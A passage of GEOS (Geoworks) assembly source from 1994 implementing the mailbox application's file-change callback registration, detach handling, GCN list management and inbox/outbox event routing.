MARegisterFileChange method dynamic MailboxApplicationClass,
MSG_MA_REGISTER_FILE_CHANGE
.enter
Assert vfptr, cxdx
tst ds:[di].MAI_fileChangeCallbacks
jnz append
;
; First callback registered, so we have to create the array and register
; for notifications.
;
push cx, dx
push si
clr ax, cx, si ; ax <- no special ObjChunkFlags
; cx <- default header
; si <- alloc chunk
mov bx, size MAFileChangeCallback
call ChunkArrayCreate
mov_tr ax, si
pop si
;
; Store the chunk in our instance data.
;
DerefDI MailboxApplication
mov ds:[di].MAI_fileChangeCallbacks, ax
;
; Register with the system.
;
mov cx, ds:[LMBH_handle]
mov dx, si
mov bx, MANUFACTURER_ID_GEOWORKS
mov ax, GCNSLT_FILE_SYSTEM
call GCNListAdd
pop cx, dx
append:
;
; Append an entry to the array.
;
mov si, ds:[di].MAI_fileChangeCallbacks
call ChunkArrayAppend
;
; Stuff in the parameters.
;
movdw ds:[di].MAFCC_callback, cxdx
mov ds:[di].MAFCC_data, bp
.leave
ret
MARegisterFileChange endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAMetaDetach
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Cope with non-mailbox objects on our GCN lists by upping the
detach count once for each such object on any such GCN list
CALLED BY: MSG_META_DETACH
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
cx = ack ID
dx:bp = ack OD
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/ 5/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAMetaDetach method dynamic MailboxApplicationClass, MSG_META_DETACH
uses ax, cx, dx, bp, si, es
.enter
call ObjInitDetach
;
; Up the count by one if there are any client threads left. Note
; that we've done so, so if there's a MSG_MA_HAVE_CLIENTS_AGAIN in
; the queue, we don't do the increment there.
;
segmov es, dgroup, ax
tst es:[mainClientThreads]
jz offShutdownList
call ObjIncDetach
mov ax, TEMP_MA_CLIENTS_REMAINING
clr cx
call ObjVarAddData
offShutdownList:
;
; Remove ourselves from the shutdown-control list now we're going away.
;
mov cx, ds:[LMBH_handle]
mov dx, si
mov bx, MANUFACTURER_ID_GEOWORKS
mov ax, GCNSLT_SHUTDOWN_CONTROL
call GCNListRemove
;
; Count up the objects on our GCN lists from other geodes and adjust
; our detach count accordingly.
;
mov ax, offset MAMetaDetachCallback
call MAEnumGCNObjects
mov cx, si ; pass app chunk in CX for ObjIncDetach
if MAILBOX_PERSISTENT_PROGRESS_BOXES
;
; Tell any active transmit threads to go away. They will each send us
; MSG_META_ACK when they go.
;
mov bx, offset MADetachThreadsCallback
mov bp, MPBT_OUTBOX
call MAEnumProgressBoxes
;
; Ditto for any active receipt threads.
;
mov bx, offset MADetachThreadsCallback
mov bp, MPBT_INBOX
call MAEnumProgressBoxes
endif ; MAILBOX_PERSISTENT_PROGRESS_BOXES
;
; Tell any threads that have no progress box that they should go away.
;
segmov es, ds
mov bx, SEGMENT_CS
mov di, offset MADetachNoBoxThreadsCallback
call MainThreadEnum
call MainThreadUnlock
segmov ds, es
;
; Stop the admin file urgent update timer, if it's going.
;
DerefDI MailboxApplication
clr ax
xchg ds:[di].MAI_adminFileUpdateUrgentTimerID, ax
tst ax
jz stopped
clr bx
xchg bx, ds:[di].MAI_adminFileUpdateUrgentTimerHandle
call TimerStop
stopped:
;
; Stop the next-event timer, if it's going.
;
clr bx
xchg ds:[di].MAI_nextEventTimerHandle, bx
inc bx
jz done
dec bx
jz done
mov ax, ds:[di].MAI_nextEventTimerID
call TimerStop
done:
.leave
mov di, offset MailboxApplicationClass
call ObjCallSuperNoLock
call ObjEnableDetach
ret
MAMetaDetach endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MADetachNoBoxThreadsCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Tell any running thread that doesn't have a progress box
that it should go away.
CALLED BY: (INTERNAL) MAMetaDetach via MainThreadEnum
PASS: ds:di = MainThreadData to examine
*es:cx = MailboxApplication object
RETURN: carry set to stop enumerating (always clear)
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 12/ 2/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MADetachNoBoxThreadsCallback proc far
.enter
if MAILBOX_PERSISTENT_PROGRESS_BOXES
tst ds:[di].MTD_progress.handle
jnz done ; => handled by progress box
endif ; MAILBOX_PERSISTENT_PROGRESS_BOXES
;
; Thread has no progress box. Up our detach count, please.
;
push ds, di
movdw dssi, escx
call ObjIncDetach
pop ds, di
;
; Now tell the thread to cancel everything.
;
push cx, dx, bp
mov ax, MCA_CANCEL_ALL ; ax <- action
mov dx, es:[LMBH_handle]
mov bp, cx ; ^ldx:bp <- ack OD
clr cx ; cx <- ack ID
call MainThreadCancel
pop cx, dx, bp
done:: ; MAILBOX_PERSISTENT_PROGRESS_BOXES
clc
.leave
ret
MADetachNoBoxThreadsCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MADetachThreadsCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send a message to the progress box telling it to detach the
transmit thread with which it's associated.
CALLED BY: (INTERNAL) MAMetaDetach via MAEnumProgressBoxes
PASS: ds:di = optr of progress box
*ds:cx = MailboxApplication object
RETURN: carry set to stop enumerating (always clear)
DESTROYED: ax, bx, si, di allowed
SIDE EFFECTS: ObjIncDetach called for app object
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/ 9/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if MAILBOX_PERSISTENT_PROGRESS_BOXES
MADetachThreadsCallback proc far
.enter
mov si, cx
call ObjIncDetach
movdw bxsi, ds:[di]
mov ax, MSG_MPB_DETACH_THREAD
mov di, mask MF_FIXUP_DS
call ObjMessage
clc
.leave
ret
MADetachThreadsCallback endp
endif ; MAILBOX_PERSISTENT_PROGRESS_BOXES
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAMetaDetachCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Callback function to add a detach count to our app object
for each object on one of our GCN lists that's not owned
by us (i.e. for which we must wait for someone else to
remove the object before we go away)
CALLED BY: (INTERNAL) MAMetaDetach via MAEnumGCNObjects
PASS: ds:di = optr to check
*ds:bp = app object
RETURN: carry set to stop enumerating (always clear)
DESTROYED: bx, si, di allowed
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/ 5/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAMetaDetachCallback proc far
.enter
;
; See if this object is owned by us.
;
mov bx, ds:[di].handle
call MemOwner
cmp bx, handle 0
je done
;
; It isn't, so we must wait until it removes itself from our list before
; we can go away.
;
mov si, bp
call ObjIncDetach
done:
clc
.leave
ret
MAMetaDetachCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MADetaching?
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if the application is actively detaching
CALLED BY: (INTERNAL) MAMetaGcnListRemove, MAClientsAllGone,
MAHaveClientsAgain
PASS: *ds:si = MailboxApplication object
RETURN: carry set if detaching
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 12/ 2/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MADetaching? proc near
class MailboxApplicationClass
uses ax, bx
.enter
mov ax, DETACH_DATA
call ObjVarFindData
.leave
ret
MADetaching? endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAClientsAllGone
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: If we're detaching, remove the detach reference added when
we found that mainClientThreads was non-zero.
CALLED BY: MSG_MA_CLIENTS_ALL_GONE
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: TEMP_MA_CLIENTS_REMAINING is deleted. Detach count is
decremented
PSEUDO CODE/STRATEGY:
We have to handle the case where TEMP_MA_CLIENTS_REMAINING
doesn't exist, of course, because this message could have
been in the queue when we received MSG_META_DETACH
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 12/ 2/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAClientsAllGone method dynamic MailboxApplicationClass, MSG_MA_CLIENTS_ALL_GONE
.enter
call MADetaching?
jnc done ; ignore if not detaching
mov ax, TEMP_MA_CLIENTS_REMAINING
call ObjVarDeleteData
jc done ; => didn't think there were
; any before
call ObjEnableDetach
done:
.leave
ret
MAClientsAllGone endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAHaveClientsAgain
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Note that we've got client threads and refuse to detach
until they're gone.
CALLED BY: MSG_MA_HAVE_CLIENTS_AGAIN
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: TEMP_MA_CLIENTS_REMAINING added
detach count incremented
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 12/ 2/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAHaveClientsAgain method dynamic MailboxApplicationClass, MSG_MA_HAVE_CLIENTS_AGAIN
.enter
call MADetaching?
jnc done
mov ax, TEMP_MA_CLIENTS_REMAINING
call ObjVarFindData
jc done
;
; Didn't already know about the client threads, so note that we know
; now and up the detach count.
;
clr cx
call ObjVarAddData
call ObjIncDetach
done:
.leave
ret
MAHaveClientsAgain endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAMetaDetachComplete
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Remove ourselves from the GCNSLT_FILE_SYSTEM list if we're
on it.
CALLED BY: MSG_META_DETACH_COMPLETE
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: MAI_fileChangeCallbacks is freed and the instvar zeroed
PSEUDO CODE/STRATEGY:
This gets called at the end of our life as an application.
Once this is received, any further action as an application
will be preceded by a GEN_PROCESS_OPEN_APPLICATION,
which will cause file-change callbacks to be
reregistered...
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/31/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAMetaDetachComplete method dynamic MailboxApplicationClass,
MSG_META_DETACH_COMPLETE
uses ax, cx, dx, bp
.enter
;
; Fetch & zero the array chunk. If it was zero, we've nothing special
; to do...
;
clr ax
xchg ds:[di].MAI_fileChangeCallbacks, ax
tst ax
jz done
;
; Free the array.
;
call LMemFree
;
; Unregister ourselves.
;
mov cx, ds:[LMBH_handle]
mov dx, si
mov bx, MANUFACTURER_ID_GEOWORKS
mov ax, GCNSLT_FILE_SYSTEM
call GCNListRemove
done:
.leave
mov di, offset MailboxApplicationClass
GOTO ObjCallSuperNoLock
MAMetaDetachComplete endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAGcnListRemove
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Intercept to reduce detach count, if present and object
being removed is actually on the list and owned by someone
else.
CALLED BY: MSG_MA_GCN_LIST_REMOVE
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
ss:bp = MAGCNListParams
RETURN: carry set if optr found and removed
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/ 5/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAGcnListRemove method dynamic MailboxApplicationClass,
MSG_MA_GCN_LIST_REMOVE
.enter
;
; Fetch the owner of the object being removed, while we've got
; the parameters available.
;
mov bx, ss:[bp].MAGCNLP_owner
;
; Let the superclass do its thang...
;
mov ax, MSG_META_GCN_LIST_REMOVE
mov dx, size GCNListParams
mov di, offset MailboxApplicationClass
call ObjCallSuperNoLock
jnc done ; => not even there, so don't care
;
; If we own the object, we need do nothing more.
;
cmp bx, handle 0
je doneFound
;
; If we're not detaching, we need do nothing more.
;
call MADetaching?
jnc doneFound
;
; Darn. We need do something more -- reduce the detach count by one.
;
call ObjEnableDetach
doneFound:
stc ; signal optr was removed
done:
.leave
ret
MAGcnListRemove endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MANotifyFileChange
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call the registered callbacks, coping with FCNT_BATCH
ourselves...
CALLED BY: MSG_NOTIFY_FILE_CHANGE
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
dx = FileChangeNotificationType
^hbp = FileChangeNotificationData
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/31/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MANotifyFileChange method dynamic MailboxApplicationClass,
MSG_NOTIFY_FILE_CHANGE
uses ax, dx, bp, si, es
.enter
mov bx, bp
call MemLock
mov es, ax
mov si, ds:[di].MAI_fileChangeCallbacks
tst si
jz done ; can be 0 if something in the
; queue when DETACH_COMPLETE handled
Assert chunk, si, ds
clr di
call MANotifyFileChangeLow
done:
call MemUnlock
.leave
mov di, offset MailboxApplicationClass
GOTO ObjCallSuperNoLock
MANotifyFileChange endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MANotifyFileChangeLow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call all the callbacks that have been registered, coping
with FCNT_BATCH ourselves.
CALLED BY: (INTERNAL) MANotifyFileChange, self
PASS: *ds:si = array of callbacks
es:di = FileChangeNotificationData
dx = FileChangeNotificationType
RETURN:
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/31/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MANotifyFileChangeLow proc near
uses bx, dx
.enter
cmp dx, FCNT_BATCH
je handleBatch
;
; Not a batch, so just call the callbacks.
;
push di
mov bp, di
mov bx, cs
mov di, offset MANotifyFileChangeCallCallback
call ChunkArrayEnum
pop di
done:
.leave
ret
handleBatch:
;
; Fetch the end of the batch and point to the first item.
;
mov bx, es:[di].FCBND_end
add di, offset FCBND_items
jmp checkBatchEnd
batchLoop:
;
; Fetch the type of notification out and advance to the start of the
; notification data.
;
mov dx, es:[di].FCBNI_type
add di, offset FCBNI_disk
;
; Call the callbacks.
;
call MANotifyFileChangeLow
;
; Advance to the next batch item. We assume the thing has no filename
; stored with it.
;
add di, offset FCBNI_name - offset FCBNI_disk
cmp dx, FCNT_RENAME
ja checkBatchEnd
;
; Notification has a filename -- skip it as well.
;
CheckHack <FCNT_CREATE eq 0>
CheckHack <FCNT_RENAME eq 1>
add di, size FileLongName
checkBatchEnd:
cmp di, bx ; have we hit the end point?
jb batchLoop ; => no
jmp done
MANotifyFileChangeLow endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MANotifyFileChangeCallCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call a single file-change callback
CALLED BY: (INTERNAL) MANotifyFileChangeLow via ChunkArrayEnum
PASS: ds:di = MAFileChangeCallback to call
es:bp = FileChangeNotificationData to pass
dx = FileChangeNotificationType
RETURN: carry set to stop enumerating (always clear)
DESTROYED: bx, si, di allowed
dx, ax, cx (if callback nukes it)
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/31/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MANotifyFileChangeCallCallback proc far
uses es, bp
.enter
pushdw ds:[di].MAFCC_callback
mov ax, ds:[di].MAFCC_data
mov di, bp
call PROCCALLFIXEDORMOVABLE_PASCAL
clc
.leave
ret
MANotifyFileChangeCallCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAMetaSendClassedEvent
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle the amusing travel options we support
CALLED BY: MSG_META_SEND_CLASSED_EVENT
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
^hcx = classed event
dx = TravelOption
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: recorded event is freed, one way or another
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 6/ 1/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MAMetaSendClassedEvent method dynamic MailboxApplicationClass,
MSG_META_SEND_CLASSED_EVENT
cmp dx, TO_OUTBOX_TRANSPORT_LIST
je outbox
cmp dx, TO_SYSTEM_OUTBOX_PANEL
je outbox
cmp dx, TO_INBOX_APPLICATION_LIST
je inbox
cmp dx, TO_SYSTEM_INBOX_PANEL
je inbox
;
; Not something we handle specially.
;
mov di, offset MailboxApplicationClass
GOTO ObjCallSuperNoLock
outbox:
;
; Get the outbox control panel data chunk.
;
mov bx, ds:[di].MAI_outPanels.MPBD_system
sendToPanel:
;
; See if there's actually a system panel for the box.
;
tst bx
jz dropIt
;
; There is. Send the META_SEND_CLASSED_EVENT to that panel for
; it to handle.
;
mov bx, ds:[bx]
mov si, ds:[bx].MADP_panel.chunk
mov bx, ds:[bx].MADP_panel.handle
mov di, mask MF_FIXUP_DS
GOTO ObjMessage
inbox:
;
; Get the inbox control panel data chunk.
;
mov bx, ds:[di].MAI_inPanels.MPBD_system
jmp sendToPanel
dropIt:
;
; No system panel to send this to. Change the destination of the
; classed event to 0, so it'll be destroyed.
;
mov bx, cx
push si
clr cx, si ; ^lcx:si <- null class
call MessageSetDestination
pop si
mov cx, bx ; cx <- event, again
clr bx, bp ; no optr to send to -- just biff event
mov di, mask MF_FIXUP_DS
call FlowDispatchSendOnOrDestroyClassedEvent
ret
MAMetaSendClassedEvent endm
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MABoxChanged
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Let the interested parties know there's been a change
CALLED BY: MSG_MA_BOX_CHANGED
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
cxdx = MailboxMessage affected
bp = MABoxChange
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 6/ 8/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MABoxChanged method dynamic MailboxApplicationClass, MSG_MA_BOX_CHANGED
mov ax, MSG_MB_NOTIFY_BOX_CHANGE
mov bx, MGCNLT_OUTBOX_CHANGE
test bp, mask MABC_OUTBOX
jnz send
mov bx, MGCNLT_INBOX_CHANGE
send:
FALL_THRU_ECN MASendToGCNList
MABoxChanged endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MASendToGCNList
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send a message out over one of our GCN lists
CALLED BY: (INTERNAL) MABoxChanged
PASS: ax = message to send
bx = MailboxGCNListType for list over which to send
cx, dx, bp = message data
*ds:si = MailboxApplication
RETURN: nothing
DESTROYED: ax, cx, dx, bp, di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 6/ 8/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MASendToGCNList proc ecnear
.enter
;
; Record the message to send.
;
push bx, si
clr bx, si
mov di, mask MF_RECORD
call ObjMessage
pop bx, si
;
; Set up the parameters for the send.
;
mov dx, size GCNListMessageParams
sub sp, dx
mov bp, sp
mov ss:[bp].GCNLMP_event, di
mov ss:[bp].GCNLMP_flags, 0 ; not status, no force-queue
; needed
mov ss:[bp].GCNLMP_block, 0 ; no mem block in params
mov ss:[bp].GCNLMP_ID.GCNLT_manuf,
MANUFACTURER_ID_GEOWORKS
mov ss:[bp].GCNLMP_ID.GCNLT_type, bx
;
; Do it, babe.
;
mov ax, MSG_META_GCN_LIST_SEND
call ObjCallInstanceNoLock
add sp, size GCNListMessageParams
.leave
ret
MASendToGCNList endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MARemoveBlockObjectsFromAllGcnLists
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Run through the GCN lists on ourselves and remove any objects
that are in the passed block.
CALLED BY: MSG_MA_REMOVE_BLOCK_OBJECTS_FROM_ALL_GCN_LISTS
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
cx = handle of block containing objects that are to be
removed
RETURN: nothing
DESTROYED: ax, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 6/ 8/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MARemoveBlockObjectsFromAllGcnLists method dynamic MailboxApplicationClass,
MSG_MA_REMOVE_BLOCK_OBJECTS_FROM_ALL_GCN_LISTS
uses bp
.enter
;
; Figure if we need to enable detach for each object removed from
; each list. We decide this based on:
; - We're in the process of detaching
; - The containing block being owned by someone other than us
; (which means the ObjIncDetach will have been done)
;
clr dx ; assume no ObjEnableDetach needed
call MADetaching?
jnc doEnum
mov bx, cx
call MemOwner
cmp bx, handle 0
je doEnum
dec dx ; indicate ObjEnableDetach required
; for each deletion
doEnum:
mov ax, offset MARemoveBlockObjectsCallback
call MAEnumGCNObjects
.leave
ret
MARemoveBlockObjectsFromAllGcnLists endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAEnumGCNObjects
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Enumerate through all the objects in all the GCN lists
attached to the application object
CALLED BY: (INTERNAL) MARemoveBlockObjectsFromAllGcnLists,
MAMetaDetach
PASS: *ds:si = MailboxApplication object
cs:ax = callback routine to call:
Pass: ds:di = optr of object
cx, dx = callback data
*ds:bp = app object
Return: carry set to stop enumerating
carry clear to keep going
Destroyed: bx, si, di
cx, dx = data for callback
RETURN: carry set if callback returned carry set
DESTROYED: bp, bx, di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/ 5/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAEnumGCNObjects proc near
uses si
.enter
push ax
mov ax, TEMP_META_GCN
call ObjVarFindData
pop ax
jnc done ; => no GCN lists, so can't be anything
; on one...
mov bp, si ; *ds:bp <- app obj
mov si, ds:[bx].TMGCND_listOfLists
Assert ChunkArray, dssi
mov bx, cs
mov di, offset MAEnumGCNObjectsCallback
call ChunkArrayEnum
done:
.leave
ret
MAEnumGCNObjects endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAEnumGCNObjectsCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Callback function to process a list, looking for objects
in a particular object block to remove
CALLED BY: (INTERNAL) MAEnumGCNObjects via ChunkArrayEnum
PASS: ds:di = GCNListOfListsElement
cs:ax = callback to call for each object in the list
cx, dx = data to pass to callback
*ds:bp = app object
RETURN: carry set to stop enumerating
DESTROYED: bx, si, di allowed
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 6/ 8/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAEnumGCNObjectsCallback proc far
.enter
mov si, ds:[di].GCNLOLE_list
mov bx, cs
mov di, ax
call ChunkArrayEnum
.leave
ret
MAEnumGCNObjectsCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MARemoveBlockObjectsCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
